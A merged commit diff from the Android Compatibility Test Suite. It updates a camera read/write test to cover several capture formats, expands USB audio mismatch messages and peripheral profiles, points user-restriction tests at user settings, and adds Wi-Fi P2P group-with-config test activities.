Merge "CTS for new screen lock complexity permission"
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index d486fe2..e781861 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -4,6 +4,7 @@
                       apps/CtsVerifierUSBCompanion/
                       libs/
                       tests/autofillservice/
+                      tests/contentcaptureservice/
                       tests/tests/animation/
                       tests/tests/graphics/
                       tests/tests/hardware/
diff --git a/apps/CameraITS/tests/scene0/test_read_write.py b/apps/CameraITS/tests/scene0/test_read_write.py
index 1b76806..9905762 100644
--- a/apps/CameraITS/tests/scene0/test_read_write.py
+++ b/apps/CameraITS/tests/scene0/test_read_write.py
@@ -32,15 +32,9 @@
         its.caps.skip_unless(its.caps.manual_sensor(props) and
                              its.caps.per_frame_control(props))
 
-        # determine capture format
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
-
+        valid_formats = ['yuv', 'jpg']
+        if its.caps.raw16(props):
+            valid_formats.insert(0, 'raw')
         # grab exp/gain ranges from camera
         sensor_exp_range = props['android.sensor.info.exposureTimeRange']
         sens_range = props['android.sensor.info.sensitivityRange']
@@ -58,55 +52,69 @@
         else:
             exp_range.append(sensor_exp_range[1])
 
-        # build requests
-        reqs = []
-        index_list = []
-        for exp in exp_range:
-            for sens in sens_range:
-                reqs.append(its.objects.manual_capture_request(sens, exp))
-                index_list.append((exp, sens))
-
-        # take shots
-        caps = cam.do_capture(reqs, fmt)
-
-        # extract exp/sensitivity data
         data = {}
-        for i, cap in enumerate(caps):
-            e_read = cap['metadata']['android.sensor.exposureTime']
-            s_read = cap['metadata']['android.sensor.sensitivity']
-            data[index_list[i]] = (e_read, s_read)
+        # build requests
+        for fmt in valid_formats:
+            print 'format: %s' % fmt
+            size = its.objects.get_available_output_sizes(fmt, props)[-1]
+            out_surface = {'width': size[0], 'height': size[1], 'format': fmt}
+
+            reqs = []
+            index_list = []
+            for exp in exp_range:
+                for sens in sens_range:
+                    reqs.append(its.objects.manual_capture_request(sens, exp))
+                    index_list.append((fmt, exp, sens))
+                    print 'exp_write: %d, sens_write: %d' % (exp, sens)
+
+            # take shots
+            caps = cam.do_capture(reqs, out_surface)
+
+            # extract exp/sensitivity data
+            for i, cap in enumerate(caps):
+                e_read = cap['metadata']['android.sensor.exposureTime']
+                s_read = cap['metadata']['android.sensor.sensitivity']
+                data[index_list[i]] = (fmt, e_read, s_read)
 
         # check read/write match across all shots
         e_failed = []
         s_failed = []
-        for e_write in exp_range:
-            for s_write in sens_range:
-                (e_read, s_read) = data[(e_write, s_write)]
-                if e_write < e_read or e_read/float(e_write) <= RTOL_EXP_GAIN:
-                    e_failed.append({'e_write': e_write,
-                                     'e_read': e_read,
-                                     's_write': s_write,
-                                     's_read': s_read})
-                if s_write < s_read or s_read/float(s_write) <= RTOL_EXP_GAIN:
-                    s_failed.append({'e_write': e_write,
-                                     'e_read': e_read,
-                                     's_write': s_write,
-                                     's_read': s_read})
+        for fmt_write in valid_formats:
+            for e_write in exp_range:
+                for s_write in sens_range:
+                    fmt_read, e_read, s_read = data[(
+                            fmt_write, e_write, s_write)]
+                    if (e_write < e_read or
+                                e_read/float(e_write) <= RTOL_EXP_GAIN):
+                        e_failed.append({'format': fmt_read,
+                                         'e_write': e_write,
+                                         'e_read': e_read,
+                                         's_write': s_write,
+                                         's_read': s_read})
+                    if (s_write < s_read or
+                                s_read/float(s_write) <= RTOL_EXP_GAIN):
+                        s_failed.append({'format': fmt_read,
+                                         'e_write': e_write,
+                                         'e_read': e_read,
+                                         's_write': s_write,
+                                         's_read': s_read})
 
         # print results
         if e_failed:
             print '\nFAILs for exposure time'
             for fail in e_failed:
-                print ' e_write: %d, e_read: %d, RTOL: %.2f, ' % (
-                        fail['e_write'], fail['e_read'], RTOL_EXP_GAIN),
+                print ' format: %s, e_write: %d, e_read: %d, RTOL: %.2f, ' % (
+                        fail['format'], fail['e_write'], fail['e_read'],
+                        RTOL_EXP_GAIN),
                 print 's_write: %d, s_read: %d, RTOL: %.2f' % (
                         fail['s_write'], fail['s_read'], RTOL_EXP_GAIN)
         if s_failed:
             print 'FAILs for sensitivity(ISO)'
             for fail in s_failed:
-                print 's_write: %d, s_read: %d, RTOL: %.2f, ' % (
-                        fail['s_write'], fail['s_read'], RTOL_EXP_GAIN),
-                print ' e_write: %d, e_read: %d, RTOL: %.2f' % (
+                print ' format: %s, s_write: %d, s_read: %d, RTOL: %.2f, ' % (
+                        fail['format'], fail['s_write'], fail['s_read'],
+                        RTOL_EXP_GAIN),
+                print 'e_write: %d, e_read: %d, RTOL: %.2f' % (
                         fail['e_write'], fail['e_read'], RTOL_EXP_GAIN)
 
         # assert PASS/FAIL
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 768ddee..f15a353 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2319,6 +2319,18 @@
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" />
 
+        <activity android:name=".p2p.P2pClientWithConfigTestListActivity"
+                android:label="@string/p2p_join_go"
+                android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".p2p.P2pClientWithConfigTestActivity"
+                android:label="@string/p2p_join_go"
+                android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".p2p.GoWithConfigTestActivity"
+                android:label="@string/p2p_accept_client"
+                android:configChanges="keyboardHidden|orientation|screenSize" />
+
         <activity android:name=".p2p.ServiceRequesterTestListActivity"
                 android:label="@string/p2p_service_discovery_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" />
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 90d1200..cebd24d 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1438,7 +1438,10 @@
     <string name="p2p_go_neg_responder_test">GO Negotiation Responder Test</string>
     <string name="p2p_go_neg_requester_test">GO Negotiation Requester Test</string>
     <string name="p2p_group_owner_test">Group Owner Test</string>
+    <string name="p2p_join_with_config">Group Join with Config</string>
+    <string name="p2p_group_owner_with_config_test">Group Owner With Config Test</string>
     <string name="p2p_group_client_test">Group Client Test</string>
+    <string name="p2p_group_client_with_config_test">Group Client With Config Test</string>
     <string name="p2p_service_discovery_responder_test">
         Service Discovery Responder Test</string>
     <string name="p2p_service_discovery_requester_test">
@@ -3439,23 +3442,21 @@
     <string name="disallow_remove_user">Disallow remove user</string>
     <string name="device_owner_disallow_remove_user_info">
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
-        \'Set restriction\' button to set the user restriction. Then press \'Go\' to open \'Settings\',
-        and manually find and open \'Multiple users\' setting. \n\n
+        \'Set restriction\' button to set the user restriction. 
+        Then press \'Go\' to open \'Multiple users\' setting. \n\n
 
         Mark this test as passed if:\n\n
-        - The uninitialized user cannot be removed.\n
-        - \'Remove user\' option is disabled with an info icon on it. Clicking on it triggers a support dialog.\n\n
-
+        - Main switch is disabled and in off position\n
+        \n
         Use the Back button to return to this page.
     </string>
     <string name="managed_user_disallow_remove_user_info">
         Please press the \'Set restriction\' button to set the user restriction.
-        Then press \'Go\' to open \'Settings\', and manually find and open \'Multiple users\' setting. \n\n
+        Then press \'Go\' to open \'Multiple users\' setting. \n\n
 
         Mark this test as passed if one of the following conditions is met:\n\n
-        - \'Remove user\' option is disabled with an info icon on it. Clicking on it triggers a support dialog.\n
-        - \'Remove user\' option cannot be found.\n \n
-
+        - Main switch is disabled and in off position\n
+        \n
         Use the Back button to return to this page.
     </string>
     <string name="device_owner_disallow_remove_user_create_user">Create uninitialized user</string>
@@ -3873,11 +3874,11 @@
     <string name="device_owner_disallow_user_switch">Disallow user switch</string>
     <string name="device_owner_disallow_user_switch_info">
         Press \'Create uninitialized user\' to create a user that is not setup.
-        Then press Set restriction button to set the user restriction.
-        Then press Go to open the Settings, and manually find and open user settings section.
+        Then press \'Set restriction\' button to set the user restriction.
+        Then press \'Go\' to open multiple users settings.
         Confirm that:\n
         \n
-        - Selecting uninitialized user should not trigger user switch.\n
+        - Main switch is disabled and in off position\n
         \n
         In additional, if quick settings is available, confirm that user switcher is hidden or
         disabled.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index ef67708..5029160 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -70,21 +70,27 @@
                 if (deviceInfo.getChannelCounts().length == 0) {
                     sb.append("Output - No Peripheral Channel Counts\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
-                    sb.append("Output - Channel Counts Mismatch\n");
+                    sb.append("Output - Channel Counts Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) +"\n");
                 }
 
                 // Encodings
                 if (deviceInfo.getEncodings().length == 0) {
                     sb.append("Output - No Peripheral Encodings\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
-                    sb.append("Output - Encodings Mismatch\n");
+                    sb.append("Output - Encodings Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
                 }
 
                 // Sample Rates
                 if (deviceInfo.getSampleRates().length == 0) {
                     sb.append("Output - No Peripheral Sample Rates\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
-                    sb.append("Output - Sample Rates Mismatch\n");
+                    sb.append("Output - Sample Rates Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getSampleRates()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mSampleRates) + "\n");
                 }
 
                 // Channel Masks
@@ -95,13 +101,17 @@
                     // Channel Index Masks
                     if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
                             attribs.mChannelIndexMasks)) {
-                        sb.append("Output - Channel Index Masks Mismatch\n");
+                        sb.append("Output - Channel Index Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
                     }
 
                     // Channel Position Masks
                     if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
                             attribs.mChannelPositionMasks)) {
-                        sb.append("Output - Channel Position Masks Mismatch\n");
+                        sb.append("Output - Channel Position Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
                     }
                 }
 
@@ -128,21 +138,27 @@
                 if (deviceInfo.getChannelCounts().length == 0) {
                     sb.append("Input - No Peripheral Channel Counts\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
-                    sb.append("Input - Channel Counts Mismatch\n");
+                    sb.append("Input - Channel Counts Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) + "\n");
                 }
 
                 // Encodings
                 if (deviceInfo.getEncodings().length == 0) {
                     sb.append("Input - No Peripheral Encodings\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
-                    sb.append("Input - Encodings Mismatch\n");
+                    sb.append("Input - Encodings Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
                 }
 
                 // Sample Rates
                 if (deviceInfo.getSampleRates().length == 0) {
                     sb.append("Input - No Peripheral Sample Rates\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
-                    sb.append("Input - Sample Rates Mismatch\n");
+                    sb.append("Input - Sample Rates Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getSampleRates()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mSampleRates) + "\n");
                 }
 
                 // Channel Masks
@@ -152,11 +168,15 @@
                 } else {
                     if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
                             attribs.mChannelIndexMasks)) {
-                        sb.append("Input - Channel Index Masks Mismatch\n");
+                        sb.append("Input - Channel Index Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
                     }
                     if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
                             attribs.mChannelPositionMasks)) {
-                        sb.append("Input - Channel Position Masks Mismatch\n");
+                        sb.append("Input - Channel Position Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
                     }
                 }
                 if (sb.toString().length() == 0){
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
index 97822d0..565826e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
@@ -60,4 +60,30 @@
 
         return true;
     }
+
+    static public String textFormatHex(int[] list) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("[");
+        for (int index = 0; index < list.length; index++) {
+            sb.append("0x" + Integer.toHexString(list[index]));
+            if (index < list.length-1) {
+                sb.append(", ");
+            }
+        }
+        sb.append("]");
+        return sb.toString();
+    }
+
+    static public String textFormatDecimal(int[] list) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("[");
+        for (int index = 0; index < list.length; index++) {
+            sb.append("0x" + list[index]);
+            if (index < list.length-1) {
+                sb.append(", ");
+            }
+        }
+        sb.append("]");
+        return sb.toString();
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index b32b2b5..b5ff250 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -49,31 +49,31 @@
             "<ProfileList Version=\"1.0.0\">" +
             "<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
-                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
             "</PeripheralProfile>" +
-            "<PeripheralProfile ProfileName=\"Audio Interface\" ProfileDescription=\"Presonus AudioVox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+            "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Focusrite 2i4\" ProfileDescription=\"Focusrite Scarlett 2i4\" ProductName=\"USB-Audio - Scarlett 2i4 USB\">" +
                 "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Behringer UMC204HD\" ProfileDescription=\"Behringer UMC204HD\" ProductName=\"USB-Audio - UMC204HD 192k\">" +
                 "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"2,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
-                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" +
                 "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
-                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 2e1c92c..245c366 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -400,7 +400,7 @@
                                             UserManager.DISALLOW_USER_SWITCH, true)),
                             new ButtonInfo(
                                     R.string.device_owner_settings_go,
-                                    new Intent(Settings.ACTION_SETTINGS))}));
+                                    new Intent(Settings.ACTION_USER_SETTINGS))}));
 
             // DISALLOW_REMOVE_USER
             adapter.add(createInteractiveTestItem(this, DISALLOW_REMOVE_USER_TEST_ID,
@@ -416,7 +416,7 @@
                                             UserManager.DISALLOW_REMOVE_USER, true)),
                             new ButtonInfo(
                                     R.string.device_owner_settings_go,
-                                    new Intent(Settings.ACTION_SETTINGS))}));
+                                    new Intent(Settings.ACTION_USER_SETTINGS))}));
         }
 
         // Network logging UI
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index dd2a639..acfebfe 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -161,7 +161,7 @@
                                         UserManager.DISALLOW_REMOVE_USER, true)),
                         new ButtonInfo(
                                 R.string.device_owner_settings_go,
-                                new Intent(Settings.ACTION_SETTINGS))}));
+                                new Intent(Settings.ACTION_USER_SETTINGS))}));
 
         // Policy Transparency
         final Intent policyTransparencyTestIntent = new Intent(this,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/GoWithConfigTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/GoWithConfigTestActivity.java
new file mode 100644
index 0000000..aa6a7fe
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/GoWithConfigTestActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.p2p.testcase.GoWithConfigTestCase;
+import com.android.cts.verifier.p2p.testcase.TestCase;
+
+/**
+ * Test activity that accepts a connection from p2p client.
+ */
+public class GoWithConfigTestActivity extends ResponderTestActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.p2p_accept_client,
+                R.string.p2p_accept_client_info, -1);
+    }
+
+    @Override
+    protected TestCase getTestCase(Context context) {
+        return new GoWithConfigTestCase(context);
+    }
+
+    @Override
+    protected int getReadyMsgId() {
+        return R.string.p2p_go_ready;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestActivity.java
new file mode 100644
index 0000000..e782a13
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p;
+
+import android.content.Context;
+
+import com.android.cts.verifier.p2p.testcase.P2pClientWithConfigTestSuite;
+import com.android.cts.verifier.p2p.testcase.ReqTestCase;
+
+/**
+ * Test activity that tries to join an existing p2p group with config.
+ * This activity is invoked from JoinTestListActivity.
+ */
+public class P2pClientWithConfigTestActivity extends RequesterTestActivity {
+
+    /**
+     * Do not need to select a peer first.
+     * For joining a group with config, this device finds the peer by
+     * Network Name, says SSID, and do not need to select a peer first.
+     */
+    @Override
+    protected boolean isSearchOnlyOnResume() {
+        return true;
+    }
+
+    @Override
+    protected ReqTestCase getTestCase(Context context, String testId) {
+        return P2pClientWithConfigTestSuite.getTestCase(context, testId);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestListActivity.java
new file mode 100644
index 0000000..a3961d6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pClientWithConfigTestListActivity.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.p2p.testcase.P2pClientWithConfigTestSuite;
+import com.android.cts.verifier.p2p.testcase.ReqTestCase;
+
+/**
+ * Activity that lists all the joining group owner with config tests.
+ */
+public class P2pClientWithConfigTestListActivity extends RequesterTestListActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.p2p_join_go,
+                R.string.p2p_join_go_info, -1);
+    }
+
+    @Override
+    protected ArrayList<ReqTestCase> getTestSuite(Context context) {
+        return P2pClientWithConfigTestSuite.getTestSuite(context);
+    }
+
+    @Override
+    protected Class<?> getRequesterActivityClass() {
+        return P2pClientWithConfigTestActivity.class;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
index 5985be6..5fd62f5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
@@ -87,6 +87,16 @@
                 P2pClientTestListActivity.class.getName(),
                 new Intent(this, P2pClientTestListActivity.class), null));
 
+        adapter.add(TestListItem.newCategory(this, R.string.p2p_join_with_config));
+        adapter.add(TestListItem.newTest(this,
+                R.string.p2p_group_owner_with_config_test,
+                GoWithConfigTestActivity.class.getName(),
+                new Intent(this, GoWithConfigTestActivity.class), null));
+        adapter.add(TestListItem.newTest(this,
+                R.string.p2p_group_client_with_config_test,
+                P2pClientWithConfigTestListActivity.class.getName(),
+                new Intent(this, P2pClientWithConfigTestListActivity.class), null));
+
         adapter.add(TestListItem.newCategory(this, R.string.p2p_service_discovery));
         adapter.add(TestListItem.newTest(this,
                 R.string.p2p_service_discovery_responder_test,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index aa24d55..5b79b8c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -212,6 +212,14 @@
     }
 
     /**
+     * Do peer searching only, don't do peer selection.
+     * For requester test which do not need to select a peer first.
+     */
+    protected boolean isSearchOnlyOnResume() {
+        return false;
+    }
+
+    /**
      * Search devices and show the found devices on the dialog.
